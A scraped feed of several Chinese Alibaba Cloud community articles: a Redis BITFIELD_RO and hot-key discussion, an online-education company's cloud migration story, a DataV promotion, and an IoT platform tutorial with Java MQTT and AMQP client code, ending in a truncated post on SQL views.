添加BITFIELD_RO命令后处理BITFIELD逻辑流程

贡献社区

我们将自己的修改回馈给了社区,并且被Redis官方接受

值得一提的是,阿里云在国内是最大的Redis社区contributer,如在新发布的Redis-6.0rc中,阿里云的贡献排第三,仅次于作者和Redis vendor(Redis Labs)。阿里云仍旧在不断的回馈和贡献社区。

阿里云Redis通过增加bitfield_ro命令,解决了官方bitfield get命令无法在slave上加速执行的问题。

除过bitfield命令,阿里云Redis也同时对georadius命令做了兼容转换,即在读写分离实例上,如果georadius/georadiusbymember命令没有store/storedist选项,将会被自动判断为读命令转发到slave加速执行。

我们思考读写分离版的场景,为什么用户需要读写分离呢?为什么不是用集群版呢?我们做一下简单对比,比如设置社区版的服务能力为K,那么表的对比如下(我们只添加了增强版Tair的主备做对比,集群版可以直接乘以分片数):

方式 Redis社区版集群 Redis社区版读写分离 Redis(Tair增强版)主备
写(key均匀情况) K分片数 K K3
读(key均匀情况) K分片数 K只读节点数 K*3
写(单key或热key) K(最坏情况) K K*3
读(单key或热key) K(最坏情况) K只读节点数 K3
​表1. Redis社区版(集群/读写分离)和增强版(主备)简单场景对比

可见,其实读写分离版属于对单个key和热key的读能力的扩展的一种方法,比较适合中小用户有大key的情况,它无法解决用户的突发写的瓶颈,比如在这个场景下,如果用户的bitfield命令是写请求(子命令中带有INCRBY和SET),就会遇到无法解决的性能问题。

从表的对比看,这种情况下,用户如果能把key拆散,或者把大key拆成很多小key,就可以使用集群版获得良好的线性加速能力。大key带来的问题包含但不仅限于:

大key会造成数据倾斜,使得Redis的容量和服务能力不能线性扩展
大key意味着大概率这个key是热点
一旦不小心针对大key有range类的操作,会出现慢查询,还容易打爆带宽
这也是Tair增强版在阿里集团内各个应用建议的:“避免设计出大key和慢查,能避免90%以上的Redis问题”。

但是在实际使用中,用户仍旧不可避免的遇到热点问题,比如抢购,比如热剧,比如超大型直播间等;尤其是很多热点具备“突发性”的特点,事先并不知晓,冲击随时可达。Redis增强版的性能增强实例具备单key在O(1)操作40~45w ops的服务能力和极强的抗冲击能力,单机主备版就足够应对一场中大型的秒杀活动!同时如果用户没有大key,增强性能集群版能够近乎赋予用户千万甚至几千万OPS的服务能力,这也是Tair作为阿里重器,支持每次平稳渡过双11购物节秒杀的关键

原文链接:https://www.9i0i.com/article-95490-1.html

]]>
全面上云这条路,洋葱学院已经走了近7年 -阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 洋葱学院在2013年末成立,原名洋葱数学,是一家K12在线教育公司。课程里没有真人老师授课,而是采用100%人机交互学习方式,每节课5-8分钟动画视频的形式精讲一个知识点或解题思维,希望有趣生动的讲解方式让更多的孩子们爱上学习。

创新且锐意进取,是这个公司的基因。

洋葱学院由杨临风、朱若辰和李诺联合创办,团队希望通过技术方式促进教育均衡。在创立之初,团队就做出了一个意识超前的决定:整套业务系统均基于阿里云搭建。
image.png
要知道,2013年,能选择全面上云的中国企业屈指可数。

上云先锋洋葱学院这一路走来,也是和阿里云一同携手成长的难忘历程。几年前,由于某个特殊使用场景,线上业务受到严重影响,洋葱学院和阿里云紧急沟通、快速排查问题,阿里云云数据库的专家同学进行了重启、备份等一系列工作。

早先,洋葱学院起步于初中数学、物理课程,但是随着不断发展,开始加入语文和英语等学科,这些课程特点不同、相应的学习流程不同。除了早先选用的ECS云服务、SLB负载均衡、阿里云云数据库等经典基础产品之外,洋葱学院也尝试将新的业务应用搭建于一些新兴阿里云产品,如ACK容器服务、RSS弹性伸缩、SLS日志服务、Blink实时计算、ARMS前端监控等,来满足日趋复杂和多样化的业务需求。

如今,从初中理科逐渐扩展到小初高全学段全学科,为130多万教师以及3600多万的中小学生提供24小时在线的“云课堂”。

疫情大考突如其来,IT架构稳如泰山

疫情期间(近一个月以来),有超过700万学生、35万教师使用洋葱学院APP在线学习或辅助授课,同时还将课程资源开放给学习强国、快手等第三方平台播放,帮助更广泛的学生远程学习。

能应对猝不及防的疫情流量洪峰,洋葱都做了怎样的努力、下足了哪些功夫呢?

在线教育业务的一个重要特点,就是波峰波谷比较规律,可预测。在学校下课或放假时期,业务会达到上升,洋葱学院便会在数分钟扩容云上资源,待学生返校上课之时,再根据业务情况释放资源,这样持续保持较高的资源利用率,既节省成本又确保业务响应。

3年前,洋葱学院开始尝试微服务改造,将复杂的单体架构进行拆分和解耦。同时采用容器技术,并也将swarm迁移至阿里云容器服务ACK之上,原本每个模块都对应一套ECS与SLB,但是随着微服务越拆越细,开始出现资源浪费的情况,而且调度复杂度都在迅速膨胀。容器服务可以根据不同模块的配置所需,资源分配更加合理,按照定义规则自动弹性伸缩避免了复杂的调度维护。

image.png

容器的弹性

基本功夯实的基础上,洋葱学院还做了一些方案优化和升级。

延期开学的这段时间里,广大学生学习时间较为集中,面对大流量、高并发访问需求,洋葱学院需要确保业务稳定性,采用阿里云容器服务与云数据库融合解决方案,在应用不变的情况下,快速平稳实现扩容的问题。阿里云容器服务可以在几分钟内扩充底层资源,满足快速部署数千个应用实例的需求。阿里云容器服务团队的建议下,洋葱学院还进一步优化了整体的ECS服务器配置,将大量的小规格ECS服务器更换成30至50核大规格ECS,从容应对10倍扩容,同时运维管控更加便捷。

针对疫情延期开学,洋葱学院作为头部K12在线教育公司,免费向全国师生开放了平台的全部核心课程资源,这期间每天的学习访问人数持续飙升。使用云容器之后,系统在资源利用率上提升了约60%,出现问题后可快速隔离,当面对急剧增长的业务量,也可以在短时间内扩容进行业务支撑。——李诺 洋葱学院联合创始人&CTO

image.png

数据库的升级

为了确保平台使用起来“丝般顺滑”,阿里云为洋葱学院提供了综合架构解决方案:数据库层将云数据库Redis数据库做高速缓存,RDS PostgreSQL+MongoDB做持久化存储;应用层对微服务进行改造,以及容器化部署。这是完成挑战的核心能力。

洋葱学院还对冷用户和冷热数据做了优化:冷用户,即第一次来的用户信息较少,此期间冷用户过多,亟需优化冷用户的流程处理,这需要提高高压下的数据快速处理能力,处理变得更快;老师和学生的作业数据,会有冷热数据之分,每隔一段时间进行数据迁移,但是热数据增长过快,此前方案逐渐应接不暇。在阿里云云数据专家的建议下,将冷用户缓存增加,升级数据库,对数据库进行了分库分表,还进行了一系列索引优化、语句改写以及业务改造等工作。

在此次疫情中,洋葱学院利用阿里云数据库的极致弹性、无缝升级扩容能力,一晚上便完成了几十个核心数据库的容量升级以及PG实例版本升级。单个云Redis集群可承载千万级访问的超高性能,确保了即使流量数十倍增长也不会有业务瓶颈。同时,持久化存储RDS PostgreSQL、MongoDB有更强的承载能力,不仅可以应对复杂查询,还可做到极致超强弹性水平扩展,全面保障了洋葱学院的运行,在业务量比历史同期翻了10倍的情况下仍然保持平稳。

故障检测

此外,原本只能依靠负载均衡的定时扫描错误节点,故障检测存在一定时延;而Kubernetes自带容灾和错误发现机制,容器内部pod之间自动实现切换,大大缩短问题发现时间,同时基于阿里云云监控、ARMS Prometheus、ARMS前端监控和日志服务,实现云资源、容器集群、容器节点、Pod等指标的完善监控,对集群变更状态、pod创建拉起删除、组件异常等信息,基本可以覆盖到各种监控报警问题,将重大故障‘扼杀于摇篮之中’。

AI辅助教学,学生老师个性化“Friday”

image.png
看过复仇者联盟的朋友们,都记得钢铁侠的AI助手Friday,每次关键时刻都协助钢铁侠力挽狂澜。

洋葱学院的APP,其实早已经成为很多学生和老师的AI助手Friday。2017年,洋葱学院成立人工智能实验室,并尝试将AI赋能引入其教学体系。最主要的原因,是希望为学生们打造完整的学习闭环,产品能根据学生的学习现状和效果,动态规划学习路径,推送个性化学习内容。

而老师则可以通过数据后台实时充分掌握班上每名学生的学习能力和知识掌握情况,为同班同学一键布置不同的教学任务。

用心做产品,以诚待客

image.png
洋葱学院自成立之处,便决心搭建于云上。在他们看来,自己研究开源方案或重新搭建系统,是"事倍功半"的,意味着巨大的运维负担;因此,每当有新的业务需求时,洋葱学院都会首先考虑能否使用云上已有方案,他们相信阿里云服务的稳定性、专业性。

洋葱学院将更多的人力和精力投入到了课程研发之中,打磨课程。如今,洋葱的用户遍布全国,深受师生和家长的喜爱,多达3600万学生自发推荐,社科院白皮书显示其教师推荐度和家长满意度分别高达85%和90%。

洋葱学院以匠人之心打造“ 云 ”课堂,是一群践行教育初心的梦想家和冒险家。

]]>
双11大战必备神器——DataV数据可视化-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 突然的降温和强冷空气告诉我,是时候为保暖秋裤来一波购物血拼了。今年的双十一马上到达战场,你准备贡献多少战绩呢!
是不是每年都很期待阿里巴巴汇报双十一最后的成交额,我们可以搬个小板凳一起观看一下那块弥漫着八亿人硝烟的大屏幕。

每年双十一都会出现的这块大屏到底有什么神通广大呢?要想今年双十一吹不一样的牛逼,就要了解一下不一样的神器——DataV数据可视化

专业解释:DataV是一个拖拽式可视化工具,可以在零售、物流、电力、水利、环保,还有交通领域,通过交互式实时数据可视化视屏墙来帮助业务人员发现、诊断业务问题。

它到底有什么样的魅力?

专业级的数据可视化

专精于地理信息与业务数据融合的可视化,提供丰富的行业模版和交互组件,支持自定义组件接入。
组件.jpg

来瞅一眼这个组件有多丰富,DataV的开发小伙伴也太为大家着想了一点。(开发小伙伴还偷偷告诉我,第三方的组件包购买之后也可以接入DataV哦!我真的不是商业间谍)

指挥中心、实时监控、地理分析、汇报展示等等这么多的屏幕模板,真的不用怕没有设计师!
模板.jpg

多种数据源支持

支持接入包括阿里云分析型数据库、关系型数据库、本地CSV上传和在线API等,而且支持动态请求。
数据源.jpg

大数据计算的能力有没有发挥的很棒!(请跟我一起竖起大拇指)

图形化编辑界面

拖拽即可完成样式和数据配置,无需编程就能轻松搭建数据大屏。
拖拽.jpg

只要轻轻动动你的小手指,拖拖拽拽,不需要编程能力,就可以创造出专业的可视化应用!(我真的不是DataV的脑残粉)

灵活部署和发布

适配非常规拼接大屏,创建的可视化应用能够发布分享,没有购买DataV产品的用户也可以访问到应用,作为对外数据业务展示的窗口。或者通过密码/Token的方式进行访问权限控制,保护数据隐私安全。还可以通过历史快照来保存历史版本,并在历史版本之间切换并发布。
发布.jpg

在某些场景,如数据涉密无法上云、展示现场网络条件有限等条件下,还可以采用 DataV 本地部署的方式。

部署和发布如此流畅,不如一起来拖拖拽拽一个可视化界面,展示一下你真正的实力。

双十一期间购买DataV可享受超级福利折扣价!
详情优惠请戳:购买链接

]]>
阿里云物联网平台如何订阅异步服务调用的返回结果?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 业务场景

image.png

1、云端向设备发送的下行消息或者异步服务调用到平台也算结束,平台再向设备进行一个透传
2、设备端向平台发送的上行消息到平台就算结束
3、云端通过服务端订阅来获取设备上行的消息

原理
1、要想获取异步服务调用的返回结果,首先设备得有返回
(1) 设备接收平台端透传过来的异步服务调用
image.png

(2)设备端收到数据后进行响应
image.png
2、这里的设备响应结果发送给平台之后,平台可通过
云产品流传或服务端订阅,再将消息发送给云端
方式一:云平台流转,注意选择Topic:
/${productKey}/${deviceName}/thing/downlink/reply/message
image.png
这个为什么可行?可参考官方文档说明
image.png
然后添加操作为发布到AMQP消费组
image.png

方式二:AMQP服务端订阅
订阅什么呢?勾选设备上报消息即可(前提是设备端有返回,即满足原理1的前提)
image.png

操作步骤
不多说了,直接上步骤
1、准备测试用的产品和设备
主要是定义一个异步服务:这里不详细阐述
image.png

2、准备测试用的云端调试工具
可以是集成云端SDK的Demo,可以是业务逻辑应用调用云端API,最简单的直接使用云端API在线调试工具
具体参数填写规范,这里也不做详细阐述
image.png

3、物联网平台控制台上配置好规则引擎
(1)云平台流转
image.png
选择好产品设备和topic

image.png
注意SQL语句的编写,这里的字段就是要发送给AMQP客户端的消息内容,可以事先进行调试。
image.png
image.png

这里要注意AMQP客户端都是按照既定的协议格式进行过滤数据的,所以这里的消息内容需要按照协议进行配置
image.png

确定好消息内容后

SQL语句:

SELECT timestamp('yyyy-MM-dd'T'HH:mm:ss'Z'') as 云平台流转至AMQP测试,deviceName() as deviceName, code as code,data as data,topic() as topic,messageId() as requestId,id as id,topic(1) as productKey,iotId as iotId FROM "/a16hDZJpRCl/IoTDeviceDemo1thing/downlink/reply/message" WHERE

(2)服务端订阅
image.png
勾选设备上报消息即可,具体消费组怎么创建就不详细阐述

实测效果:
image.png

4、设备端接收消息+响应reply
image.png
image.png

代码示例:
pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>MQTTClient</artifactId>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>6</source>
                    <target>6</target>
                </configuration>
            </plugin>
        </plugins>
    </build>
    <dependencies>
        <dependency>
            <groupId>org.eclipse.paho</groupId>
            <artifactId>org.eclipse.paho.client.mqttv3</artifactId>
            <version>1.1.0</version>
        </dependency>
        <dependency>
            <groupId>com.google.guava</groupId>
            <artifactId>guava</artifactId>
            <version>23.0</version>
        </dependency>
        <dependency>
            <groupId>com.aliyun</groupId>
            <artifactId>aliyun-java-sdk-core</artifactId>
            <version>3.5.1</version>
        </dependency>
    </dependencies>

</project>

AliyunIoTSignUtil:

package com.alibaba.taro;

import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.util.Arrays;
import java.util.Map;

/**
 * AliyunIoTSignUtil
 */

public class AliyunIoTSignUtil {
    public static String sign(Map<String, String> params, String deviceSecret, String signMethod) {
        //将参数Key按字典顺序排序
        String[] sortedKeys = params.keySet().toArray(new String[] {});
        Arrays.sort(sortedKeys);

        //生成规范化请求字符串
        StringBuilder canonicalizedQueryString = new StringBuilder();
        for (String key : sortedKeys) {
            if ("sign".equalsIgnoreCase(key)) {
                continue;
            }
            canonicalizedQueryString.append(key).append(params.get(key));
        }

        try {
            String key = deviceSecret;
            return encryptHMAC(signMethod,canonicalizedQueryString.toString(), key);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    /**
     * HMACSHA1加密
     *
     */
    public static String encryptHMAC(String signMethod,String content, String key) throws Exception {
        SecretKey secretKey = new SecretKeySpec(key.getBytes("utf-8"), signMethod);
        Mac mac = Mac.getInstance(secretKey.getAlgorithm());
        mac.init(secretKey);
        byte[] data = mac.doFinal(content.getBytes("utf-8"));
        return bytesToHexString(data);
    }

    public static final String bytesToHexString(byte[] bArray) {

        StringBuffer sb = new StringBuffer(bArray.length);
        String sTemp;
        for (int i = 0; i < bArray.length; i++) {
            sTemp = Integer.toHexString(0xFF & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

Demo:


package com.alibaba;

import com.alibaba.taro.AliyunIoTSignUtil;
import org.eclipse.paho.client.mqttv3.*;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
import org.json.JSONObject;

import java.util.HashMap;
import java.util.Map;


public class CustomTopicMessageDemo2 {

    public static String productKey = "a16hD*****";
    public static String deviceName = "IoTDevice****";
    public static String deviceSecret = "0895205d*********";
    public static String regionId = "cn-shanghai";


    // 物模型-属性上报topic
    //private static String pubTopic = "/sys/" + productKey + "/" + deviceName + "/thing/event/property/post";
    //private static String subTopic = "/sys/" + productKey + "/" + deviceName + "/thing/service/property/set";
    // 自定义topic,在产品Topic列表位置定义
    //private static String pubTopic = "/"+productKey + "/" + deviceName+"/user/DemoTest";
    //private static String subTopic = "/"+productKey + "/" + deviceName+"/user/DemoTest";
    private static String pubTopic = "/"+productKey + "/" + deviceName+"/user/get";
    private static String subTopic = "/"+productKey + "/" + deviceName+"/user/get";

    private static MqttClient mqttClient;

    public static void main(String [] args){

        initAliyunIoTClient();
//        ScheduledExecutorService scheduledThreadPool = new ScheduledThreadPoolExecutor(1,
//                new ThreadFactoryBuilder().setNameFormat("thread-runner-%d").build());
//
//        scheduledThreadPool.scheduleAtFixedRate(()->postDeviceProperties(), 10,10, TimeUnit.SECONDS);
        // 汇报属性
        //String payloadJson = "{"params":{"MasterLightSwitch":0,"LivingLightSwitch":0,"SecondaryLightSwotch":0,"MasterCurtainSwitch":1,"SecondaryCurtainSwitch":1,"LivingCurtainSwitch":1}}";
        //String payloadJson = "{"params":{"Temp":77,"yyy":{"tttt":"123"}}}";
        String payloadJson = "{"params":{"Temp":77,"yyy":"8888"}}";
        //String payloadJson = "{"tts":"ss"}";
        //String payloadJson = "34454545";
        postDeviceProperties(payloadJson);

        try {
            mqttClient.subscribe(subTopic); // 订阅Topic
        } catch (MqttException e) {
            System.out.println("error:" + e.getMessage());
            e.printStackTrace();
        }

        // 设置订阅监听
        mqttClient.setCallback(new MqttCallback() {
            @Override
            public void connectionLost(Throwable throwable) {
                System.out.println("connection Lost");

            }

            @Override
            public void messageArrived(String s, MqttMessage mqttMessage) throws Exception {
                String payload =  new String(mqttMessage.getPayload());
                System.out.println(" 接收消息:");
                System.out.println("Topic : " + s);
                System.out.println(payload); //打印输出消息payLoad
                System.out.println("=================================================================");

//                String subTopic = "/sys/" + productKey + "/" + deviceName + "/thing/service/property/set";
//                if(s.equals(subTopic)) {
//                    JSONObject jsonProperty = new JSONObject(payload);
//                    if(jsonProperty.has("params"))
//                    {
//                        String paramsJson = jsonProperty.get("params").toString();
//                        System.out.println("test paramsJson is:n" + paramsJson);
//                        String params = "{"params": " +  paramsJson + "}";
//                        System.out.println("test params is:n" + params);
//                        System.out.println("收到属性设置后,再上报一次属性:");
//                        postDeviceProperties(params);
//                    }
//                }

                //收到服务调用,给予返回reply
//                下行(Alink JSON):
//                请求Topic:/sys/{productKey}/{deviceName}/thing/service/{tsl.service.identifier}
//                响应Topic:/sys/{productKey}/{deviceName}/thing/service/{tsl.service.identifier}_reply
                String subTopic = "/sys/" + productKey + "/" + deviceName + "/thing/service/StartP2PStreaming";
                String replyTopic = "/sys/" + productKey + "/" + deviceName + "/thing/service/StartP2PStreaming_reply";
                if(s.equals(subTopic)) {
                    JSONObject jsonProperty = new JSONObject(payload);
                    if(jsonProperty.has("id"))
                    {
                        String id = jsonProperty.get("id").toString();
                        String replyJson = "{"data":{},"code":200,"id":""+ id +""}";
                        //System.out.println("test replyJson is:n" + replyJson);
                        //String replys = "{"params": " +  replyJson + "}";
                        //System.out.println("test reply is:n" + replys);
                        System.out.println("收到服务调用后,给予返回");
                        postServiceReply(replyJson,replyTopic);
                    }
                }
            }

            @Override
            public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) {

            }
        });

    }

    /**
     * 初始化 Client 对象
     */
    private static void initAliyunIoTClient() {

        try {
            // 构造连接需要的参数
            String clientId = "java" + System.currentTimeMillis();
            Map<String, String> params = new HashMap<String, String>(16);
            params.put("productKey", productKey);
            params.put("deviceName", deviceName);
            params.put("clientId", clientId);
            String timestamp = String.valueOf(System.currentTimeMillis());
            params.put("timestamp", timestamp);
            // cn-shanghai
            String targetServer = "tcp://" + productKey + ".iot-as-mqtt."+regionId+".aliyuncs.com:1883";

            String mqttclientId = clientId + "|securemode=3,signmethod=hmacsha1,timestamp=" + timestamp + "|";
            String mqttUsername = deviceName + "&" + productKey;
            String mqttPassword = AliyunIoTSignUtil.sign(params, deviceSecret, "hmacsha1");

            connectMqtt(targetServer, mqttclientId, mqttUsername, mqttPassword);

        } catch (Exception e) {
            System.out.println("initAliyunIoTClient error " + e.getMessage());
        }
    }

    public static void connectMqtt(String url, String clientId, String mqttUsername, String mqttPassword) throws Exception {

        MemoryPersistence persistence = new MemoryPersistence();
        mqttClient = new MqttClient(url, clientId, persistence);
        MqttConnectOptions connOpts = new MqttConnectOptions();
        // MQTT 3.1.1
        connOpts.setMqttVersion(4);
        connOpts.setAutomaticReconnect(false);
        connOpts.setCleanSession(false);
        //connOpts.setCleanSession(true);

        connOpts.setUserName(mqttUsername);
        connOpts.setPassword(mqttPassword.toCharArray());
        connOpts.setKeepAliveInterval(60);

        mqttClient.connect(connOpts);
    }

    /**
     * 汇报属性
     */
    private static void postDeviceProperties(String payloadJson) {

        try {
            //上报数据
            //高级版 物模型-属性上报payload
            System.out.println("上报属性值:");
            //String payloadJson = "{"params":{"Status":0,"Data":"15"}}";
            //String payloadJson = "{"GeoLocation":{"Longitude":120.99,"Latitude":30.13,"Altitude":39.01},"BatteryPercentage":40.703533, "Temperature":2.233362}";
            //String payloadJson = "{"id":"3","version":"1.0","params":{"GeoLocation":{"Longitude":120.999,"Latitude":30.13,"Altitude":39.01},"BatteryPercentage":42.99999, "Temperature":2.233362}}";
            //String payloadJson = "{"params":{"MasterLightSwitch":0,"LivingLightSwitch":0,"SecondaryLightSwotch":0,"MasterCurtainSwitch":1,"SecondaryCurtainSwitch":1,"LivingCurtainSwitch":1}}";
            System.out.println(payloadJson);
            MqttMessage message = new MqttMessage(payloadJson.getBytes("utf-8"));
            message.setQos(0);
            mqttClient.publish(pubTopic, message);
            System.out.println("=================================================================");
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }

    /**
     * 服务返回
     */
    private static void postServiceReply(String payloadJson,String relpyTopic) {

        try {
            //上报数据
            //高级版 物模型-属性上报payload
            System.out.println("服务调用返回:");
            //String payloadJson = "{"params":{"Status":0,"Data":"15"}}";
            System.out.println("Topic:");
            System.out.println(relpyTopic);
            System.out.println(payloadJson);
            MqttMessage message = new MqttMessage(payloadJson.getBytes("utf-8"));
            message.setQos(0);
            mqttClient.publish(relpyTopic, message);
            System.out.println("=================================================================");
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }

}


实测效果:
image.png

5、云端使用AMQP客户端登录,并接收消息

参考官方文档,这里就不作详细阐述。
https://help.aliyun.com/document_detail/143601.html?spm=a2c4g.11186623.6.624.304e354e2OEGFh

代码示例:
pom.xml


<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Test</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <!-- amqp 1.0 qpid client -->
<!--        <dependency>-->
<!--            <groupId>org.apache.qpid</groupId>-->
<!--            <artifactId>qpid-jms-client</artifactId>-->
<!--            <version>0.47.0</version>-->
<!--        </dependency>-->


        <!-- https://mvnrepository.com/artifact/commons-codec/commons-codec -->
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.10</version>
        </dependency>


        <!-- https://mvnrepository.com/artifact/org.apache.qpid/qpid-jms-client -->
        <dependency>
            <groupId>org.apache.qpid</groupId>
            <artifactId>qpid-jms-client</artifactId>
            <version>0.47.0</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>1.7.25</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.maven.surefire</groupId>
            <artifactId>maven-surefire-common</artifactId>
            <version>2.12.4</version>
        </dependency>


        <!-- util for base64-->

<!--        <dependency>-->
<!--            <groupId>commons-codec</groupId>-->
<!--            <artifactId>commons-codec</artifactId>-->
<!--            <version>1.3</version>-->
<!--        </dependency>-->
    </dependencies>


</project>

Demo

package com.alibaba;

import org.apache.commons.codec.binary.Base64;
import org.apache.qpid.jms.JmsConnection;
import org.apache.qpid.jms.JmsConnectionListener;
import org.apache.qpid.jms.message.JmsInboundMessageDispatch;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import javax.jms.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.net.URI;
import java.util.Hashtable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

public class AmqpJavaClientDemo {

    private final static Logger logger = LoggerFactory.getLogger(AmqpJavaClientDemo.class);

    //业务处理异步线程池,线程池参数可以根据您的业务特点调整,或者您也可以用其他异步方式处理接收到的消息。
    private final static ExecutorService executorService = new ThreadPoolExecutor(
            Runtime.getRuntime().availableProcessors(),
            Runtime.getRuntime().availableProcessors() * 2,
            60,
            TimeUnit.SECONDS,
            new LinkedBlockingQueue<>(50000));


    public static void main(String[] args) throws Exception {
        //参数说明,请参见AMQP客户端接入说明文档。
        String accessKey = "LTAI4G2*****";
        String accessSecret = "Mp2f4qopmULI6*****";
        String consumerGroupId = "e0oRIYMSOYwQ*****";
        //iotInstanceId:购买的实例请填写实例ID,公共实例请填空字符串""。
        String iotInstanceId = "";
        long timeStamp = System.currentTimeMillis();
        //签名方法:支持hmacmd5、hmacsha1和hmacsha256。
        String signMethod = "hmacsha1";
        //控制台服务端订阅中消费组状态页客户端ID一栏将显示clientId参数。
        //建议使用机器UUID、MAC地址、IP等唯一标识等作为clientId。便于您区分识别不同的客户端。
        String clientId = "yangboClientId";

        //userName组装方法,请参见AMQP客户端接入说明文档。
        String userName = clientId + "|authMode=aksign"
                + ",signMethod=" + signMethod
                + ",timestamp=" + timeStamp
                + ",authId=" + accessKey
                + ",iotInstanceId=" + iotInstanceId
                + ",consumerGroupId=" + consumerGroupId
                + "|";
        //计算签名,password组装方法,请参见AMQP客户端接入说明文档。
        String signContent = "authId=" + accessKey + "&timestamp=" + timeStamp;
        String password = doSign(signContent,accessSecret, signMethod);
        //接入域名,请参见AMQP客户端接入说明文档。
            String connectionUrl = "failover:(amqps://1875496626634053.iot-amqp.cn-shanghai.aliyuncs.com:5671?amqp.idleTimeout=80000)"
                + "?failover.reconnectDelay=30";

        Hashtable<String, String> hashtable = new Hashtable<String, String>();
        hashtable.put("connectionfactory.SBCF",connectionUrl);
        hashtable.put("queue.QUEUE", "default");
        hashtable.put(Context.INITIAL_CONTEXT_FACTORY, "org.apache.qpid.jms.jndi.JmsInitialContextFactory");
        Context context = new InitialContext(hashtable);
        ConnectionFactory cf = (ConnectionFactory)context.lookup("SBCF");
        Destination queue = (Destination)context.lookup("QUEUE");
        // Create Connection
        Connection connection = cf.createConnection(userName, password);
        ((JmsConnection) connection).addConnectionListener(myJmsConnectionListener);

        System.out.println("connection success");
        // Create Session
        // Session.CLIENT_ACKNOWLEDGE: 收到消息后,需要手动调用message.acknowledge()。
        // Session.AUTO_ACKNOWLEDGE: SDK自动ACK(推荐)。
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        connection.start();
        // Create Receiver Link
        MessageConsumer consumer = session.createConsumer(queue);
        consumer.setMessageListener(messageListener);
    }

    private static MessageListener messageListener = new MessageListener() {
        @Override
        public void onMessage(Message message) {
            try {
                //1.收到消息之后一定要ACK。
                // 推荐做法:创建Session选择Session.AUTO_ACKNOWLEDGE,这里会自动ACK。
                // 其他做法:创建Session选择Session.CLIENT_ACKNOWLEDGE,这里一定要调message.acknowledge()来ACK。
                // message.acknowledge();
                //2.建议异步处理收到的消息,确保onMessage函数里没有耗时逻辑。
                // 如果业务处理耗时过程过长阻塞住线程,可能会影响SDK收到消息后的正常回调。
                executorService.submit(new Runnable() {
                    public void run() {
                        processMessage(message);
                    }
                });
            } catch (Exception e) {
                logger.error("submit task occurs exception ", e);
            }
        }
    };

    /**
     * 在这里处理您收到消息后的具体业务逻辑。
     */
    private static void processMessage(Message message) {
        try {
            byte[] body = message.getBody(byte[].class);
            String content = new String(body);
            String topic = message.getStringProperty("topic");
            String messageId = message.getStringProperty("messageId");


            System.out.println("receive message"
                    + ", topic = " + topic
                    + ", messageId = " + messageId
                    + ", content = " + content);
            logger.info("receive message"
                    + ", topic = " + topic
                    + ", messageId = " + messageId
                    + ", content = " + content);
        } catch (Exception e) {
            logger.error("processMessage occurs error ", e);
        }
    }

    private static JmsConnectionListener myJmsConnectionListener = new JmsConnectionListener() {
        /**
         * 连接成功建立。
         */
        @Override
        public void onConnectionEstablished(URI remoteURI) {
            logger.info("onConnectionEstablished, remoteUri:{}", remoteURI);
        }

        /**
         * 尝试过最大重试次数之后,最终连接失败。
         */
        @Override
        public void onConnectionFailure(Throwable error) {
            logger.error("onConnectionFailure, {}", error.getMessage());
        }

        /**
         * 连接中断。
         */
        @Override
        public void onConnectionInterrupted(URI remoteURI) {
            logger.info("onConnectionInterrupted, remoteUri:{}", remoteURI);
        }

        /**
         * 连接中断后又自动重连上。
         */
        @Override
        public void onConnectionRestored(URI remoteURI) {
            logger.info("onConnectionRestored, remoteUri:{}", remoteURI);
        }

        @Override
        public void onInboundMessage(JmsInboundMessageDispatch envelope) {}

        @Override
        public void onSessionClosed(Session session, Throwable cause) {}

        @Override
        public void onConsumerClosed(MessageConsumer consumer, Throwable cause) {}

        @Override
        public void onProducerClosed(MessageProducer producer, Throwable cause) {}
    };

    /**
     * 计算签名,password组装方法,请参见AMQP客户端接入说明文档。
     */
    private static String doSign(String toSignString, String secret, String signMethod) throws Exception {
        SecretKeySpec signingKey = new SecretKeySpec(secret.getBytes(), signMethod);
        Mac mac = Mac.getInstance(signMethod);
        mac.init(signingKey);
        byte[] rawHmac = mac.doFinal(toSignString.getBytes());
        return Base64.encodeBase64String(rawHmac);

//        return Arrays.toString(Base64.encodeBase64(rawHmac));
    }
}

实测效果:
云平台流转方式的返回结果:
image.png

AMQP订阅方式返回结果:
image.png

]]>
视图在SQL中的作用是什么,它是怎样工作的?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

首发公众号:码农架构
视图就是虚拟表:

